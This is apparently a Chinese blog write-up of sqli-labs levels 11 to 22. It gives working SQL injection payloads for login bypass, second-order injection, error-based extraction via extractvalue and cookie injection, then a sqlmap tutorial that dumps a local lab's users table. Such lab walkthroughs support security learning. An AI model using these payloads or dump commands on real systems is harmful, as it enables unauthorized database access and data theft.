Sqli靶场 11--->22Less

打靶场,打靶场,打靶场,打靶场......靶场你别打我 球球     

                              Sqli靶场 11--->22Less_第1张图片

11.不用密码(狂喜)

这一关知不知道账号密码都无所谓

那么我们就尝试一下报错类型,单引号报错,好,字符型

构造poc

I_don_t_know_the_information ' or 1=1 --+

这样就能返回整个表的信息,但是她只会显示一行

Sqli靶场 11--->22Less_第2张图片

或者你还可以

admin'#

这样就可以直接爆出管理员的密码(当然实战是不可能给你回显的,你要通过构造or来获取密码)

Sqli靶场 11--->22Less_第3张图片

12.有个)还有个"

这一关你直接尝试单引号闭合的话就会发现是行不通的,查看源码就能发现是这样

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  • 他的意思就是将得到的uname和passwd先用 " 包裹,然后再加上一个) ,如果我们直接拼接单引号或者双引号的话就会出现下面的代码:
@$sql="SELECT username, password FROM users WHERE username=("admin"") and password=("1111") LIMIT 0,1";

根本就达不到注释掉后面的语句的后果 ,所以要这样构造poc

admin")--+

这样才能达到注释掉密码的效果

Sqli靶场 11--->22Less_第4张图片

13.啊?啊这

这,这,这........

不就是上一关将双引号改成单引号???不多赘述

                                 Sqli靶场 11--->22Less_第5张图片

14.啊,啊?你再考什么?

又一题无语题,当我尝试单引号闭合,发现没有报错,双引号闭合,发现报错了 

于是就拼接一个poc? 这???? 啊,你再考什么

Sqli靶场 11--->22Less_第6张图片

15.报错?玩的就是真实

这一关,你会发现你怎么构造poc 它都是没有报错,但是你只要构造一条poc

admin' #

就会发现能过了!!! 其实现实生活中也是,网站一般都是不会返回报错信息的,需要你的耐心和经验去绕waf

16. ")# 

正如标题,这句poc就是  不多说,下一题!!

admin") #

17.二次注入&&passwd绕过

其实一开始我是没有想到passwd绕过的,于是就先来讲讲二次注入

一开始可以先看到它的改密码的界面

Sqli靶场 11--->22Less_第7张图片

  1. 首先有两个账号 一个admin 一个admin'#  ,admin的密码为admin ,admin'#的密码是123
  2. 然后去将admin‘# 的密码修改成1234

就会发生二次注入!! 

Sqli靶场 11--->22Less_第8张图片

然后就是passwd绕过,上源码!!

//making sure uname is not injectable
$uname=check_input($_POST['uname']);  

$passwd=$_POST['passwd'];

其中涉及到的check_input()是它自己写的函数,基本上防住了sql注入!!

但是好笑的是他不过滤passwd的传入

                ​​​​​​​        ​​​​​​​        ​​​​​​​        ​​​​​​​        Sqli靶场 11--->22Less_第9张图片

再来看一眼源代码

$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

那么就这样构造poc

admin' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

可以爆出它的数据库路径 

Sqli靶场 11--->22Less_第10张图片

但是但是!!!!!,你的poc千万不要这么写

test' #

写了你就等着进橘子,不要问我怎么知道的(艹,手贱

Sqli靶场 11--->22Less_第11张图片

18.UA注入

参考我的上一篇文章

19.Refer头注入

还是参考我的上一篇文章

20.Cookie注入

继续参考我上一篇文章(梅开三度)

        ​​​​​​​        ​​​​​​​        ​​​​​​​        Sqli靶场 11--->22Less_第12张图片

21.Base64&&Cookie

在我们登录之后,我们可以抓到一个这种包,所以就发现是cookie注入

Sqli靶场 11--->22Less_第13张图片

盲猜是base64编码,去解码一下就会发现

Sqli靶场 11--->22Less_第14张图片

因为是插入,我们可以构造这样的poc ,记得编码

' ,1,extractvalue(1,(concat(0x7e,(select database()),0x7e))))--+

但是发现报错了,还看见有一个) 那就构造另一类poc

Sqli靶场 11--->22Less_第15张图片

' ,1,extractvalue(1,(concat(0x7e,(select database()),0x7e))))#

突然想起来,好像没有讲过他的原理!那就先来讲一下他原理

Sqli靶场 11--->22Less_第16张图片  嘻嘻

就是在插入之中,如果我们插入了能执行的函数的话,他会去执行这个函数

 就像这样!!

所以当我们传入extractvalue的时候他也会去执行

22.Cookie注入&& "

这一关其实就是和上面的一关差不多 ,就是将’ 变成了”

所以就可以写出这样一个poc ,记得base64编码 

" and extractvalue(1,(concat(0x7e,(select database()),0x7e))) and "

SQLMap的基本用法

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1"

Declaration:这个工具可不能乱用,可能会被封IP,而且 里面的risk等级

1.对于url是get请求

就拿第一关来说

先用第一句探测是否存在sql注入

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1"

看的出来,存在注入

Sqli靶场 11--->22Less_第17张图片

然后就是第二句

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" --dbs ;

这样就会给你爆出表名  

Sqli靶场 11--->22Less_第18张图片

第三步选一个表 然后 进行第三句poc

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" -D security --tables;

Sqli靶场 11--->22Less_第19张图片

最后就是脱库了

python sqlmap.py -u "http://127.0.0.1:3387/Less-1/?id=1" -D security -T users --dump ;

Sqli靶场 11--->22Less_第20张图片

2.对于是POST请求

就拿sqli的第十关来举例,先将这个包复制下来,在一个文件夹复制下来

Sqli靶场 11--->22Less_第21张图片

然后在存在sql注入的地方 例如上面的uname 后面的值替换成 *

然后输入poc

python sqlmap.py -r "D://1.txt" ;

Sqli靶场 11--->22Less_第22张图片

然后后面的就和get相同了

3.然后就是还有一些参数

Sqli靶场 11--->22Less_第23张图片Sqli靶场 11--->22Less_第24张图片

最后最后,就是 --risk 那里不要设置为三 不然有可能你就把人家整个表给删掉了或者更新掉了

[!]legal disclaimer: Usage of sqlmap for attacking targets without prior mutualconsents responsibility to obey all applicable local, state and federal laws. Developersassumenosible for any misuse or damage caused by this program
is illegal.It is theend userliability and are not respon!!!!!!!!!!

你可能感兴趣的:(数据库)